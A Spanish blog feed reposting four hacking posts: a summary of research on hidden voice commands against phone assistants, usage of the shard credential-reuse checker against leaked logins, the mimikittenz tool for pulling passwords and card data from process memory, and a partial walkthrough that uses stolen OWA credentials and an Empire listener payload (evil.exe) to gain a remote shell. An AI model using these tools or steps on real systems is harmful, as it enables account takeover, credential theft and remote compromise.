tag:blogger.com,1999:blog-33410027193818724852024-03-18T21:59:52.368-07:00futuro robot? futuro inerte?reflexiones de un analisis robotAnonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.comBlogger1545125tag:blogger.com,1999:blog-3341002719381872485.post-13022195561157472132016-07-13T22:02:00.002-07:002016-07-13T22:02:58.595-07:00Nueva técnica para hackear dispositivos móviles mediante comandos de voz ocultos en vídeos de Youtube<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Un grupo de investigadores de la Universidad de Berkeley California y la Universidad de Georgetown ha ideado un método para hackear dispositivos móviles mediante el uso de comandos de voz ocultos en vídeos de YouTube. </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Y no necesariamente tiene que reproducirlo la víctima, basta con que reciba el sonido desde otro ordenador, televisión inteligente, teléfono, tablet, etc., los comandos ocultos serán recibidos por los asistentes Google Now! o Siri que los filtrarán del ruido ambiente y los ejecutarán.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Los investigadores publicaron los detalles de la técnica en un artículo titulado "</span><a href="http://www.hiddenvoicecommands.com/" style="background-color: white; color: #2970a6; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-decoration: none;" target="_blank">Hidden Voice Commands</a><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">"</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">"</span><i style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">En este paper exploramos cómo pueden ser atacados con comandos de voz ocultos que son ininteligibles para los oídos humanos pero interpretados como comandos por algunos dispositivos</i><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">".</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Los investigadores han publicado un vídeo PoC del ataque en caja negra que se lleva a cabo con presencia de ruido de fondo y el teléfono objetivo a una distancia de varios metros de los altavoces utilizados para reproducir el audio/ataque.</span><br />
<div style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<br /><iframe allowfullscreen="" frameborder="0" height="345" src="http://www.youtube.com/embed/HvZAZFztlO0" width="560"></iframe><br /><span style="font-size: xx-small;"><i>Url del video</i>: <a href="https://www.youtube.com/watch?v=HvZAZFztlO0" style="color: #2970a6; text-decoration: none;">https://youtu.be/HvZAZFztlO0</a></span></div>
<br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Los atacantes pueden ocultar varios tipos de comandos en los videos, incluyendo las instrucciones para descargar e instalar un código malicioso desde un host determinado.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Los investigadores también sugieren una serie de contramedidas, incluyendo una notificación cada vez que un comando de voz es recibido por el móvil o la adopción de un sistema de pregunta-respuesta verbal.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Para más detalles técnicos os recomiendo echar un vistazo a la página oficial del proyecto: </span><a href="http://www.hiddenvoicecommands.com/" style="background-color: white; color: #2970a6; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-decoration: none;">http://www.hiddenvoicecommands.com/</a><br />
<br />
Fuente: http://www.hackplayers.com/2016/07/hackean-moviles-comandos-voz-youtube.htmlAnonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-29923305334523378172016-07-13T22:01:00.002-07:002016-07-13T22:01:55.928-07:00shard: una herramienta para comprobar si se utiliza la misma contraseña en varios sitios<div class="post hentry uncustomized-post-template" style="background-color: white; color: #333333; font-family: Arial; font-size: 13px; margin: 0.5em 0px 10px; padding-bottom: 30px;">
<div class="post-body entry-content" style="font-family: verdana, sans-serif; font-size: small; line-height: 1.6em; margin: 0px 0px 0.75em;">
Si hay algo imperativo en la sociedad digital actual es NO REUTILIZAR la misma contraseña para distintos servicios. La razón es simple: si uno de ellos es comprometido por ende cualquiera podrá obtener acceso al resto. No obstante, ya sea por la dificultad de recordar tantas contraseñas o por <s>desconocimiento</s> pura vagancia, son muchos los usuarios que todavía ponen la misma contraseña en varios de sus perfiles en redes sociales como Facebook, Twitter, LinkedIn, etc.<br /><br />Y precisamente hoy vemos Shard, una herramienta para que los atacantes podamos detectar contraseñas compartidas desde la línea de comandos. Se trata de un fat jar (contiene todas las clases necesarias para hacerlo lo más portable posible) que si queréis podéis compilar vosotros mismos con <code>sbt assembly, </code>y también tiene una segunda implementación en python.<br /><b><br /></b><b>Uso</b><br /><br />Sólo tenemos que indicar las credenciales a comprobar y la herramienta automatizará el proceso:<br /><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><code>$ java -jar shard-1.2.jar -u username-here -p password-here
21:16:25.950 [+] Running in single credential mode
21:16:30.302 [+] username-here:password-here - Reddit, Instagram</code></pre>
<br />También es posible probar múltiples credenciales (ummm leaks...) indicando un fichero de texto que contenga cada línea con el formato "username":"password". Incluso se puede personalizar el formato con la opción --format.<br /><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><code>$ java -jar shard-1.2.jar -f /tmp/creds.txt
21:16:39.501 [+] Running in multi-credential mode
21:16:39.516 [+] Parsed 2 credentials
21:16:42.794 [+] username1:password1 - Reddit, Instagram
21:16:45.189 [+] username2:password2 - Facebook, LinkedIn, Twitter</code></pre>
<br /><b>Módulos</b><br /><br />Actualmente soporta los siguientes módulos:<br /><pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><code>$ java -jar shard-1.2.jar -l
Available modules:
Facebook
LinkedIn
Reddit
Twitter
Instagram</code></pre>
<br />Aunque si queréis podéis añadir vuestros propios módulos fácilmente creando una nueva clase heredada de AbstractModule y añadiendo el módulo a ModuleFactory.<br />El AbstractModule tiene un método abstracto:<br /><br /><span style="font-family: "Courier New", Courier, monospace;"> def tryLogin(creds: Credentials): Boolean</span><br /><br />Este método toma un objeto de credenciales y devuelve un valor booleano que indica un inicio de sesión correcto. Se recomienda el uso de la TwitterModule como plantilla.<br /><br /><b>Dependencias</b><br /><br /> JSoup se utiliza para la comunicación HTTP y análisis de HTML<br /> spray-json se utiliza para el manejo de JSON<br /><br /><b>Github</b>: <a href="https://github.com/philwantsfish/shard" style="color: #2970a6; text-decoration: none;">https://github.com/philwantsfish/shard</a></div>
<div class="post-body entry-content" style="font-family: verdana, sans-serif; font-size: small; line-height: 1.6em; margin: 0px 0px 0.75em;">
<span style="line-height: 1.6em;">Fuente: http://www.hackplayers.com/</span></div>
</div>
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-34149868094955644022016-07-13T21:59:00.003-07:002016-07-13T21:59:45.261-07:00mimikittenz: extracción de contraseñas en claro con ReadProcessMemory()/regex<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">mimikittenz de Jamieson O'Reilly aka </span><i style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">putterpanda (atentos a su foto de perfil en Github lol!) </i><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">es una herramienta de post-explotación en powershell/C sharp que utiliza la función de Windows </span><b style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">ReadProcessMemory() para extraer contraseñas en claro</b><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"> de varios procesos.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZdkdS18gU1oZwxqGB6ePE6chE-6l_g4CJiiMEG2BNMym_tN37thnRm-FBrgmzBqlKP8WjRVztHgxvCVdlkO98Qg8w40S78etb00ywwzInrWAOck78moVP4XCR5DB8fUhsyUbu0AW693GJ/s1600/mimikittenz.png" imageanchor="1" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZdkdS18gU1oZwxqGB6ePE6chE-6l_g4CJiiMEG2BNMym_tN37thnRm-FBrgmzBqlKP8WjRVztHgxvCVdlkO98Qg8w40S78etb00ywwzInrWAOck78moVP4XCR5DB8fUhsyUbu0AW693GJ/s640/mimikittenz.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
<br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Webmail</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Gmail</li>
<li> Office365</li>
<li> Outlook Web</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Accounting</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Xero</li>
<li> MYOB</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Remote Access</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Juniper SSL-VPN</li>
<li> Citrix NetScaler</li>
<li> Remote Desktop Web Access 2012</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Developement</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Jira</li>
<li> Github</li>
<li> Bugzilla</li>
<li> Zendesk</li>
<li> Cpanel</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">IHateReverseEngineers</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Malwr</li>
<li> VirusTotal</li>
<li> AnubisLabs</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Misc</span><br />
<ul style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">
<li> Dropbox</li>
<li> Microsoft Onedrive</li>
<li> AWS Web Services</li>
<li> Slack</li>
<li> Twitter</li>
<li> Facebook</li>
</ul>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Además, mimikittenz también puede extraer fácilmente otros tipos de *jugosa* información de procesos utilizando patrones de expresiones regulares que incluyen pero no se limitan a:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">- datos PII</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">- claves de cifrado y otros</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:</span><br />
<pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><code>[mimikittenz.MemProcInspector]::AddRegex("<nameoftarget>","<regex_here>")</regex_here></nameoftarget></code></pre>
<br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:</span><br />
<pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><code>$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")</code></pre>
<br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><b style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;">Github</b><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">: </span><a href="https://github.com/putterpanda/mimikittenz" style="background-color: white; color: #2970a6; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-decoration: none;">https://github.com/putterpanda/mimikittenz</a><br />
<br />
Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.htmlAnonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-28582214712519454902016-07-13T21:57:00.001-07:002016-07-13T21:57:10.029-07:00Obteniendo un shell remoto mediante una regla de Outlook maliciosa<br />
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">En la página de <a href="http://silentbreaksecurity.com/malicious-outlook-rules/" style="color: #2970a6; text-decoration: none;" target="_blank">SilentBreak Security</a> encontraba un escenario que puede resultar bastante interesante para atacantes, <i>pentesters</i>, curiosos y demás fauna... </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Imagina que has conseguido las credenciales para <b>acceder al correo electrónico de un usuario vía OWA</b>, ya sea por fuera bruta, esnifando (<i>las passwords graciosillos!</i>), usando keyloggers, con alguna página de phishing, ... con lo que sea. A partir de ahí puedes<b> obtener shell remoto de la máquina que está utilizando el usuario gracias a una simple regla de Outlook maliciosa. </b>Algo también muy útil si trabajamos en un entorno Citrix y queremos obtener una shell remota del servidor XenApp.</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Veamos cómo hacerlo en unos sencillos pasos...<br /><br />1.- Primero tenemos que preparar la máquina del atacante para dejar accesible un ejecutable (a ser posible FuD) con el payload que más tarde nos permitirá abrir una sesión remota, por ej. vía Webdav en un Apache:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO3D27rRWPVSSLHcM8uq2HOlob9H-Uk1G3C4Ah80BNdmVh-LlIk6VDYEN2c6wTDaJcBHKGvdMMugHurnPDtWTcCyWssik2Ifqxgp8yKZVnViiK_e_JX_sUPRTbVtclhZ-az0k1KaSqo9QA/s1600/webdav.jpg" imageanchor="1" style="clear: right; color: #2970a6; float: right; margin-bottom: 1em; margin-left: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhO3D27rRWPVSSLHcM8uq2HOlob9H-Uk1G3C4Ah80BNdmVh-LlIk6VDYEN2c6wTDaJcBHKGvdMMugHurnPDtWTcCyWssik2Ifqxgp8yKZVnViiK_e_JX_sUPRTbVtclhZ-az0k1KaSqo9QA/s1600/webdav.jpg" style="border: 0px; padding: 2px;" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><span style="font-family: "courier new", courier, monospace;">sudo apt-get update</span></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><span style="font-family: "courier new", courier, monospace;">sudo apt-get install apache2<br />sudo a2enmod dav<br />sudo a2enmod dav_fs<br />sudo service apache2 restart</span></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">O si estás en una LAN o quieres hacer una PoC sencillita, </span><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">simplemente puedes dejar el ejecutable malicioso en una unidad de red o cualquier otro recurso compartido vía samba.<br /><br />2.- luego ponemos nuestro servidor malicioso a escuchar (en una máquina virtual en un hosting gratuito <s>o en un servidor comprometido</s> para que la víctima nos devuelva la sesión en cuanto ejecute el payload. </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">En este caso utilizamos <a href="http://www.powershellempire.com/" style="color: #2970a6; text-decoration: none;" target="_blank">Empire</a>,<b> un agente post-explotación escrito puramente en Powershell</b> que se puede desplegar rápidamente y nos permite, entre otras cosas, elevar privilegios y ejecutar Mimikatz en la máquina comprometida. </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"> </span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;">Con el imperio hemos topado...</span><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<br /></div>
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgByILxnbAEINo9useuPdmy7K8rAt7NiensRHfZO7X_7HLqgC5O9eqK9yYSY-iMsS4j10IOwlOrqHY2k9sFpj_TUDk7GcywTtQ1x2a9mvntZIy9HMJM9BptGUm89pKsTuhaH982EHDt6F53/s1600/spacebook.jpg" imageanchor="1" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="289" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgByILxnbAEINo9useuPdmy7K8rAt7NiensRHfZO7X_7HLqgC5O9eqK9yYSY-iMsS4j10IOwlOrqHY2k9sFpj_TUDk7GcywTtQ1x2a9mvntZIy9HMJM9BptGUm89pKsTuhaH982EHDt6F53/s320/spacebook.jpg" style="border: 0px; padding: 2px;" width="320" /></a></div>
<a href="https://draft.blogger.com/null" name="more" style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;"></a><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br />Para hacer funcionar rápidamente Empire primero clonamos el repositorio git: <br /><br /><span style="font-family: "courier new", courier, monospace;">git clone https://github.com/PowerShellEmpire/Empire.git</span><br /><br />A continuación abrimos la consola:</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br /><span style="font-family: "courier new", courier, monospace;">./empire</span></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinkndx_i__-LSpX7TEGnCJspQqWhIN6V8k498KhMrwR2tof1xieZ_HxhukrSQNqh5JvC5YqY5Yh6RzPsxbdtfUU1RSx3rSOcnvaSwsRYifYzBeGP6cSMveyMugdM1VWblwKLHXRYqhr3CB/s1600/empire1.png" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinkndx_i__-LSpX7TEGnCJspQqWhIN6V8k498KhMrwR2tof1xieZ_HxhukrSQNqh5JvC5YqY5Yh6RzPsxbdtfUU1RSx3rSOcnvaSwsRYifYzBeGP6cSMveyMugdM1VWblwKLHXRYqhr3CB/s640/empire1.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><span style="font-family: "courier new", courier, monospace;"></span><br />y lanzamos el listener con 'info' para ver las opciones y 'execute':</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqekRJpbJVepOJqLmvJiAH8yqYhrXo0yiVMU43Vyh85p4yITruNjZf2TFiqE3zvwsntkzGY9oQjU8cUtEr9f4XOcOMs5sk9qqFFsiB_KxHXEjDMnENFiCQ0f__sji6Gp-qDvfF2WVmGTJO/s1600/empire2.png" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqekRJpbJVepOJqLmvJiAH8yqYhrXo0yiVMU43Vyh85p4yITruNjZf2TFiqE3zvwsntkzGY9oQjU8cUtEr9f4XOcOMs5sk9qqFFsiB_KxHXEjDMnENFiCQ0f__sji6Gp-qDvfF2WVmGTJO/s640/empire2.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" />
<pre style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); font-family: "Andale Mono", "Lucida Console", Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 600px;"><span style="font-family: verdana, sans-serif; font-size: x-small;"><code>Empire) > listeners
[*] Active listeners:
ID Name Host Type Delay/Jitter KillDate Redirect Target
-- ---- ---- ------- ------------ -------- ---------------
1 test http://192.168.11.128:8080 native 5/0.0
(Empire: listeners) > usestager launcher test
(Empire: stager/launcher) > execute</code></span></pre>
<span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br />Ya lo tenemos el listener "test" escuchando en el puerto 8080 :-D</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br />3.- Llega el momento de construir el payload y para ello copiaremos la línea anterior de Empire en un .bat (evil.bat) y con el programita "<a href="http://www.f2ko.de/en/b2e.php" style="color: #2970a6; text-decoration: none;" target="_blank">BAT to EXE Converter</a>" loconvertiremos directamente en ejecutable (evil.exe):</span><br style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px;" /><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"><br /></span><span style="background-color: white; color: #333333; font-family: verdana, sans-serif; font-size: x-small; line-height: 20.8px;"></span><br />
<div class="separator" style="background-color: white; clear: both; color: #333333; font-family: verdana, sans-serif; font-size: small; line-height: 20.8px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqsfT8cox6xxF72tt47rb8QePJDLLU7_EcniYGTcqPMJh4FKJtKgn4BTrg0jarPchCac6Y-_P3F1-0_YOlVpWRdojV01to_A86egx_gP-LWDBMytFk3Ba91tGrA-OEFsasELje_sC1h81Q/s1600/bat2exe.png" style="color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqsfT8cox6xxF72tt47rb8QePJDLLU7_EcniYGTcqPMJh4FKJtKgn4BTrg0jarPchCac6Y-_P3F1-0_YOlVpWRdojV01to_A86egx_gP-LWDBMytFk3Ba91tGrA-OEFsasELje_sC1h81Q/s640/bat2exe.png" style="border: 0px; padding: 2px;" width="530" /></a></div>
